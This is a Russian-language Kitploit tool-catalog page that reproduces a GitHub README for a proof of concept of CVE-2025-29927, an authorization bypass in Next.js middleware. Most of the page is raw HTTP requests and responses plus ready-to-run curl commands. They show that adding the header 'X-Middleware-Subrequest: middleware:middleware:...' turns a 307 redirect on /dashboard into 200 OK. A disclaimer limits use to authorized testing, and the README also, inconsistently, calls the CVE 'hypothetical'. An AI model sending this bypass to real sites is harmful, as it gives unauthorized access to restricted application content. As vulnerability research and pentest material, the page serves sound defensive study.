Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-29927-poc — Обход авторизации в Next.js Middleware | Kitploit
Инструменты/GitHubGitHub/dedibagus/cve-2025-29927-poc
Аутентификация и авторизацияАнализ уязвимостейЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubdedibagus/cve-2025-29927-poc

cve-2025-29927-poc

Обход авторизации в Next.js Middleware

Репозиторий
331 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2025-29927-POC

Введение

Этот репозиторий содержит Proof of Concept (PoC) для CVE-2025-29927, гипотетической уязвимости, демонстрирующей недостаток в обработке промежуточного ПО (middleware) в веб-приложении. PoC иллюстрирует, как специально сформированный HTTP-запрос может обойти логику перенаправления для доступа к ограниченному контенту, такому как панель управления. Данный проект предназначен только для образовательных целей и исследований в области безопасности.

Отказ от ответственности: Данный PoC предназначен для использования в контролируемых средах с явного разрешения. Несанкционированное тестирование систем, которые вам не принадлежат или на тестирование которых у вас нет согласия, является незаконным и неэтичным.


Содержание

  • Предварительные требования
  • Обзор уязвимости
  • Шаги Proof of Concept
    • Шаг 1: Исходный запрос (неуспешный)
    • Шаг 2: Модифицированный запрос (успешный)
  • Как воспроизвести
  • Ссылки
  • Участие
  • Лицензия

Предварительные требования

Для выполнения данного PoC вам понадобится:

  • Целевой сервер (например, abc.com), работающий с уязвимой конфигурацией (конкретное ПО/версия будет уточнено в соответствии с деталями CVE).
  • Инструмент для работы с HTTP-запросами, такой как curl (curl.se), Burp Suite (portswigger.net/burp) или собственный скрипт.
  • Базовые знания HTTP-протоколов и заголовков (см. Документацию HTTP от MDN).

Обзор уязвимости

CVE-2025-29927 (заполнитель; замените официальными данными CVE, когда они станут доступны) по-видимому, эксплуатирует неправильную конфигурацию промежуточного ПО или логическую ошибку. PoC демонстрирует, что добавление пользовательского заголовка (X-Middleware-Subrequest) изменяет поведение сервера, обходя механизм перенаправления для доступа к ограниченному контенту. Вероятно, это связано с тем, как промежуточное ПО (например, Nginx с Next.js) обрабатывает подзапросы или проверяет заголовки.

Для получения дополнительной информации об уязвимостях промежуточного ПО обратитесь к OWASP Middleware Security.


Шаги Proof of Concept

PoC состоит из двух шагов: исходный неуспешный запрос и модифицированный успешный запрос. Каждый шаг включает HTTP-запрос, ответ и подробное объяснение.

Шаг 1: Исходный запрос (неуспешный)

Этот шаг демонстрирует поведение сервера по умолчанию при обращении к конечной точке /dashboard без дополнительных заголовков.

HTTP-запрос

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP-ответ

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Объяснение

  • Детали запроса:
    • GET /dashboard: Попытка доступа к конечной точке панели управления.
    • Стандартные заголовки, такие как User-Agent и Accept, имитируют типичный браузерный запрос.
  • Детали ответа:
    • 307 Temporary Redirect: Указывает, что сервер перенаправляет клиента, вероятно, из-за аутентификации, авторизации или логики маршрутизации (например, перенаправление на страницу входа).
    • Server: nginx/1.14.1: Идентифицирует программное обеспечение веб-сервера.
  • Анализ: Перенаправление предполагает наличие защитного механизма, препятствующего прямому доступу к /dashboard. Отсутствие заголовка Location в этом ответе (возможно, опущено для краткости) указывает на то, что целевой адрес перенаправления находится в другом месте.
  • Ссылка: Узнайте больше о кодах состояния HTTP на MDN HTTP Status.

Шаг 2: Модифицированный запрос (успешный)

Этот шаг вводит пользовательский заголовок для обхода перенаправления, успешно получая содержимое панели управления.

HTTP-запрос

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP-ответ

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Объяснение

  • Детали запроса:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Пользовательский заголовок, добавленный в исходный запрос. Повторяющаяся строка middleware может использовать ошибку парсинга или проверки в стеке промежуточного ПО.
    • Остальные заголовки остались без изменений по сравнению с Шагом 1.
  • Детали ответа:
    • 200 OK: Подтверждает успешный доступ к содержимому панели управления.
    • Content-Type: text/html; charset=utf-8: Указывает на HTML-ответ, скорее всего, страницу панели управления.
    • X-Powered-By: Next.js: Предполагает, что приложение использует Next.js — фреймворк React, который часто полагается на промежуточное ПО для маршрутизации.
    • Cache-Control: Запрещает кэширование, что характерно для динамического, пользовательского контента.
    • Content-Length: 30174: Размер тела ответа в байтах.
  • Анализ: Заголовок X-Middleware-Subrequest, вероятно, обманывает промежуточное ПО, заставляя его обрабатывать запрос как легитимный подзапрос, обходя логику перенаправления. Это может указывать на уязвимость в том, как проверяются или обрабатываются подзапросы.
  • Ссылка: Изучите промежуточное ПО Next.js в .

Как воспроизвести

Выполните следующие шаги для воспроизведения PoC с помощью curl:

Шаг 1: Отправка исходного запроса

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Ожидаемый результат: Ответ 307 Temporary Redirect.

Шаг 2: Отправка модифицированного запроса

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Ожидаемый результат: Ответ 200 OK с содержимым панели управления.

Примечание: Замените abc.com на фактический целевой домен при тестировании в авторизованной среде.


Ссылки

  • CVE Details - Официальная база данных CVE (обновите ссылку на конкретную CVE, когда она станет доступна).
  • MDN HTTP Documentation - Основы HTTP-протокола.
  • Next.js Middleware - Информация о поведении промежуточного ПО Next.js.
  • OWASP Middleware Security - Обзор уязвимостей промежуточного ПО.
  • curl Manual - Руководство по использованию curl для HTTP-запросов.

Лицензия

Этот проект лицензирован по лицензии MIT. Подробности см. в файле LICENSE.

Скачать инструмент
Документации Next.js